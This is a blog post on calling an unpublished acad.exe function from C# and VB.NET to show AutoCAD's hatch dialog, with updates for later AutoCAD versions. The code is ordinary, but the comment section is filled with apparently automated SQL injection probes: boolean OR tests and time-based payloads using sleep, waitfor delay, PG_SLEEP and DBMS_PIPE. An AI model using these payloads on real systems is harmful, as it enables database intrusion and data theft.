2007年3月16日

Showing AutoCAD's hatch dialog from a .NET application

Showing AutoCAD's hatch dialog from a .NET application

Showing AutoCAD's hatch dialog from a .NET application

This question was posted by csharpbird:

How to get the Hatch dialog using .NET? It seems that there is no such class in the .NET API?

It's true there is no public class - or even a published function - to show the hatch dialog inside AutoCAD. It is, however, possible to P/Invoke an unpublished (and therefore unsupported and liable to change without warning) function exported from acad.exe.

Here's some C# code that shows how. The code works for AutoCAD 2007, but will be different for AutoCAD 2006: the function takes and outputs strings, so the change to Unicode in 2007 will have modified the function signature.

using Autodesk.AutoCAD.Runtime;

using Autodesk.AutoCAD.EditorInput;

using Autodesk.AutoCAD.DatabaseServices;

using Autodesk.AutoCAD.ApplicationServices;

using System.Reflection;

using System.Runtime.InteropServices;


namespace HatchDialogTest

{

  public class Commands

  {

    [DllImport(

        "acad.exe",

        EntryPoint =

          "?acedHatchPalletteDialog@@YA_NPB_W_NAAPA_W@Z",

        CharSet = CharSet.Auto

      )

    ]

    static extern bool acedHatchPalletteDialog(

      string currentPattern,

      bool showcustom,

      out string newpattern

    );


    [CommandMethod("SHD")]

    static public void ShowHatchDialog()

    {

      string sHatchType;

      string sNewHatchType;

      bool bRet;

      sHatchType = "ANGLE";

      bRet =

        acedHatchPalletteDialog(

          sHatchType,

          true,

          out sNewHatchType

        );

      if (bRet)

      {

        Editor ed =

          Application.DocumentManager.MdiActiveDocument.Editor;

        ed.WriteMessage(

          "\nHatch type selected: " + sNewHatchType

        );

      }

    }

  }

}

Here's what happens when you run the code:

Command: SHD


Hatch_dialog


Hatch type selected: SWAMP

Update

Someone asked me for the VB.NET code for this one (it was quite tricky to marshall the new string being returned). As I'd put it together, I thought I'd post it here:

Imports Autodesk.AutoCAD.ApplicationServices

Imports Autodesk.AutoCAD.Runtime

Imports Autodesk.AutoCAD.EditorInput

Imports System.Text


Namespace HatchDialogTest


  Public Class Commands


    Private Declare Auto Function acedHatchPalletteDialog _

    Lib "acad.exe" _

    Alias "?acedHatchPalletteDialog@@YA_NPB_W_NAAPA_W@Z" _

    (ByVal currentPattern As String, _

    ByVal showcustom As Boolean, _

    ByRef newpattern As StringBuilder) As Boolean


    <CommandMethod("SHD")> _

    Public Sub ShowHatchDialog()


      Dim sHatchType As String = "ANGLE"

      Dim sNewHatchType As New StringBuilder

      Dim bRet As Boolean = _

        acedHatchPalletteDialog(sHatchType, _

          True, sNewHatchType)

      If bRet And sNewHatchType.ToString.Length > 0 Then

        Dim ed As Editor

        ed = _

          Application.DocumentManager.MdiActiveDocument.Editor

        ed.WriteMessage( _

          vbLf + "Hatch type selected: " + _

          sNewHatchType.ToString)

      End If


    End Sub


  End Class


End Namespace


Update 2

I've recently come back to this post at the prompting of a colleague who was struggling to get it working with AutoCAD 2010. Sure enough, the dialog would appear but the marshalling back of the return string to AutoCAD is now causing a problem, for some unknown reason (at least it's unknown to me :-).

Anyway - to address the issue I've updated the code to perform the string marshalling a little more explicitly, and it now works. This may also address the issue one of the people commenting on this post experienced trying to get the code to work with AutoCAD 2009 (although I do remember testing it there and having no issues, which has me scratching my head somewhat).

Here's the updated C# code:

using Autodesk.AutoCAD.ApplicationServices;

using Autodesk.AutoCAD.Runtime;

using Autodesk.AutoCAD.EditorInput;

using System.Runtime.InteropServices;

using System;

 

namespace HatchDialogTest

{

  public class Commands

  {

    [DllImport(

        "acad.exe",

        EntryPoint =

          "?acedHatchPalletteDialog@@YA_NPB_W_NAAPA_W@Z",

        CharSet = CharSet.Auto

      )

    ]

    static extern bool acedHatchPalletteDialog(

      string currentPattern,

      bool showcustom,

      out IntPtr newpattern

    );

 

    [CommandMethod("SHD")]

    static public void ShowHatchDialog()

    {

      string sHatchType = "ANGLE";

      IntPtr ptr;

      bool bRet =

        acedHatchPalletteDialog(

          sHatchType,

          true,

          out ptr

        );

      if (bRet)

      {

        string sNewHatchType = Marshal.PtrToStringAuto(ptr);

        if (sNewHatchType.Length > 0)

        {

          Editor ed =

            Application.DocumentManager.MdiActiveDocument.Editor;

          ed.WriteMessage(

            "\nHatch type selected: " + sNewHatchType

          );

        }

      }

    }

  }

}

And here's the updated VB code:

Imports Autodesk.AutoCAD.ApplicationServices

Imports Autodesk.AutoCAD.Runtime

Imports Autodesk.AutoCAD.EditorInput

Imports System.Runtime.InteropServices

Imports System

 

Namespace HatchDialogTest

 

  Public Class Commands

 

    Private Declare Auto Function acedHatchPalletteDialog _

    Lib "acad.exe" _

    Alias "?acedHatchPalletteDialog@@YA_NPB_W_NAAPA_W@Z" _

    (ByVal currentPattern As String, _

    ByVal showcustom As Boolean, _

    ByRef newpattern As IntPtr) As Boolean

 

    <CommandMethod("SHD")> _

    Public Sub ShowHatchDialog()

 

      Dim sHatchType As String = "ANGLE"

      Dim ptr As IntPtr

      Dim bRet As Boolean = _

        acedHatchPalletteDialog(sHatchType, _

          True, ptr)

      If bRet Then

        Dim sNewHatchType As String = _

          Marshal.PtrToStringAuto(ptr)

        If sNewHatchType.ToString.Length > 0 Then

          Dim ed As Editor

          ed = _

            Application.DocumentManager.MdiActiveDocument.Editor

          ed.WriteMessage( _

            vbLf + "Hatch type selected: " + sNewHatchType)

        End If

      End If

 

    End Sub

 

  End Class

 

End Namespace

留下您的评论

评论 (186)

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

PXBY7rny

G
宾客 | 19天前

-1 OR 2+29-29-1=0+0+0+1 --

G
宾客 | 19天前

-1 OR 2+720-720-1=0+0+0+1

G
宾客 | 19天前

-1' OR 2+360-360-1=0+0+0+1 --

G
宾客 | 19天前

-1' OR 2+783-783-1=0+0+0+1 or 'xgVZkCam'='

G
宾客 | 19天前

-1" OR 2+12-12-1=0+0+0+1 --

G
宾客 | 19天前

if(now()=sysdate(),sleep(15),0)

G
宾客 | 19天前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
宾客 | 19天前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
宾客 | 19天前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
宾客 | 19天前

-1; waitfor delay '0:0:15' --

G
宾客 | 19天前

-1); waitfor delay '0:0:15' --

G
宾客 | 19天前

-1)); waitfor delay '0:0:15' --

G
宾客 | 19天前

1 waitfor delay '0:0:15' --

G
宾客 | 19天前

CfuHFRJ8'; waitfor delay '0:0:15' --

G
宾客 | 19天前

bcWJuvpc'); waitfor delay '0:0:15' --

G
宾客 | 19天前

CNuf29eL')); waitfor delay '0:0:15' --

G
宾客 | 19天前

-5 OR 983=(SELECT 983 FROM PG_SLEEP(15))--

G
宾客 | 19天前

-5) OR 891=(SELECT 891 FROM PG_SLEEP(15))--

G
宾客 | 19天前

-1)) OR 826=(SELECT 826 FROM PG_SLEEP(15))--

G
宾客 | 19天前

AYE6y4WJ' OR 63=(SELECT 63 FROM PG_SLEEP(15))--

G
宾客 | 19天前

RyU1KMqd') OR 788=(SELECT 788 FROM PG_SLEEP(15))--

G
宾客 | 19天前

ruN8Si3X')) OR 950=(SELECT 950 FROM PG_SLEEP(15))--

G
宾客 | 19天前

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
宾客 | 19天前

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
宾客 | 19天前

1'"

G
宾客 | 19天前

1����%2527%2522

G
宾客 | 19天前

@@xH6wD

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

1

G
宾客 | 19天前

wzYJMIJB

G
宾客 | 19天前

-1 OR 2+643-643-1=0+0+0+1 --

G
宾客 | 19天前

-1 OR 2+585-585-1=0+0+0+1

G
宾客 | 19天前

-1' OR 2+584-584-1=0+0+0+1 --

G
宾客 | 19天前

-1' OR 2+547-547-1=0+0+0+1 or 'gnhoqWCR'='

G
宾客 | 19天前

-1" OR 2+792-792-1=0+0+0+1 --

G
宾客 | 19天前

if(now()=sysdate(),sleep(15),0)

G
宾客 | 19天前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
宾客 | 19天前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
宾客 | 19天前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
宾客 | 19天前

-1; waitfor delay '0:0:15' --

G
宾客 | 19天前

-1); waitfor delay '0:0:15' --

G
宾客 | 19天前

-1)); waitfor delay '0:0:15' --

G
宾客 | 19天前

1 waitfor delay '0:0:15' --

G
宾客 | 19天前

aO7R90Mn'; waitfor delay '0:0:15' --

G
宾客 | 19天前

CcJvyLH5'); waitfor delay '0:0:15' --

G
宾客 | 19天前

eCE9Wgfh')); waitfor delay '0:0:15' --

G
宾客 | 19天前

-5 OR 858=(SELECT 858 FROM PG_SLEEP(15))--

G
宾客 | 19天前

-5) OR 604=(SELECT 604 FROM PG_SLEEP(15))--

G
宾客 | 19天前

-1)) OR 221=(SELECT 221 FROM PG_SLEEP(15))--

G
宾客 | 19天前

27p83Iha' OR 387=(SELECT 387 FROM PG_SLEEP(15))--

G
宾客 | 19天前

-1 OR 2+45-45-1=0+0+0+1 --

G
宾客 | 19天前

-1 OR 3+45-45-1=0+0+0+1 --

G
宾客 | 19天前

fB6KLkWQ') OR 998=(SELECT 998 FROM PG_SLEEP(15))--

G
宾客 | 19天前

-1 OR 2+118-118-1=0+0+0+1

G
宾客 | 19天前

-1 OR 3+118-118-1=0+0+0+1

G
宾客 | 19天前

-1' OR 2+326-326-1=0+0+0+1 --

G
宾客 | 19天前

-1' OR 3+326-326-1=0+0+0+1 --

G
宾客 | 19天前

-1' OR 2+93-93-1=0+0+0+1 or '1PqoMMcL'='

G
宾客 | 19天前

-1' OR 3+93-93-1=0+0+0+1 or '1PqoMMcL'='

G
宾客 | 19天前

-1" OR 2+235-235-1=0+0+0+1 --

G
宾客 | 19天前

-1" OR 3+235-235-1=0+0+0+1 --

G
宾客 | 19天前

QDI3QtVN')) OR 114=(SELECT 114 FROM PG_SLEEP(15))--

G
宾客 | 19天前

if(now()=sysdate(),sleep(15),0)

G
宾客 | 19天前

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
宾客 | 19天前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
宾客 | 19天前

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
宾客 | 19天前

1'"

G
宾客 | 19天前

1����%2527%2522

G
宾客 | 19天前

@@M35pp

G
宾客 | 19天前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
宾客 | 19天前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
宾客 | 19天前

-1; waitfor delay '0:0:15' --

G
宾客 | 19天前

-1); waitfor delay '0:0:15' --

G
宾客 | 19天前

-1)); waitfor delay '0:0:15' --

G
宾客 | 19天前

1 waitfor delay '0:0:15' --

G
宾客 | 19天前

XpFUzVqU'; waitfor delay '0:0:15' --

G
宾客 | 19天前

vwA4mAUA'); waitfor delay '0:0:15' --

G
宾客 | 19天前

iXy0sswa')); waitfor delay '0:0:15' --

G
宾客 | 19天前

-5 OR 933=(SELECT 933 FROM PG_SLEEP(15))--

G
宾客 | 19天前

-5) OR 492=(SELECT 492 FROM PG_SLEEP(15))--

G
宾客 | 19天前

-1)) OR 528=(SELECT 528 FROM PG_SLEEP(15))--

G
宾客 | 19天前

9sXsZc0p' OR 495=(SELECT 495 FROM PG_SLEEP(15))--

G
宾客 | 19天前

wOBBCTdD') OR 44=(SELECT 44 FROM PG_SLEEP(15))--

G
宾客 | 19天前

NFoUWeSg')) OR 155=(SELECT 155 FROM PG_SLEEP(15))--

G
宾客 | 19天前


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
宾客 | 19天前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
宾客 | 19天前

1'"

G
宾客 | 19天前

1����%2527%2522

G
宾客 | 19天前

@@P7BuL

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

q051KAHT

G
宾客 | 18天前

-1 OR 2+110-110-1=0+0+0+1 --

G
宾客 | 18天前

-1 OR 2+311-311-1=0+0+0+1

G
宾客 | 18天前

-1' OR 2+362-362-1=0+0+0+1 --

G
宾客 | 18天前

-1' OR 2+643-643-1=0+0+0+1 or 'BDqgMjFq'='

G
宾客 | 18天前

-1" OR 2+518-518-1=0+0+0+1 --

G
宾客 | 18天前

if(now()=sysdate(),sleep(15),0)

G
宾客 | 18天前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
宾客 | 18天前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
宾客 | 18天前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
宾客 | 18天前

-1; waitfor delay '0:0:15' --

G
宾客 | 18天前

-1); waitfor delay '0:0:15' --

G
宾客 | 18天前

-1)); waitfor delay '0:0:15' --

G
宾客 | 18天前

1 waitfor delay '0:0:15' --

G
宾客 | 18天前

cjLfhaT5'; waitfor delay '0:0:15' --

G
宾客 | 18天前

VkeGIx2b'); waitfor delay '0:0:15' --

G
宾客 | 18天前

hWLWGzdY')); waitfor delay '0:0:15' --

G
宾客 | 18天前

-5 OR 654=(SELECT 654 FROM PG_SLEEP(15))--

G
宾客 | 18天前

-5) OR 193=(SELECT 193 FROM PG_SLEEP(15))--

G
宾客 | 18天前

-1)) OR 987=(SELECT 987 FROM PG_SLEEP(15))--

G
宾客 | 18天前

mIaMLeH0' OR 664=(SELECT 664 FROM PG_SLEEP(15))--

G
宾客 | 18天前

xA715Qwy') OR 889=(SELECT 889 FROM PG_SLEEP(15))--

G
宾客 | 18天前

hrEY3JcJ')) OR 407=(SELECT 407 FROM PG_SLEEP(15))--

G
宾客 | 18天前

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
宾客 | 18天前

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
宾客 | 18天前

1'"

G
宾客 | 18天前

1����%2527%2522

G
宾客 | 18天前

@@yJ7Pn

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

555

G
宾客 | 18天前

1

G
宾客 | 18天前

1

G
宾客 | 18天前

555

H
HfjNUlYZ | 昨天

1

H
HfjNUlYZ | 昨天

1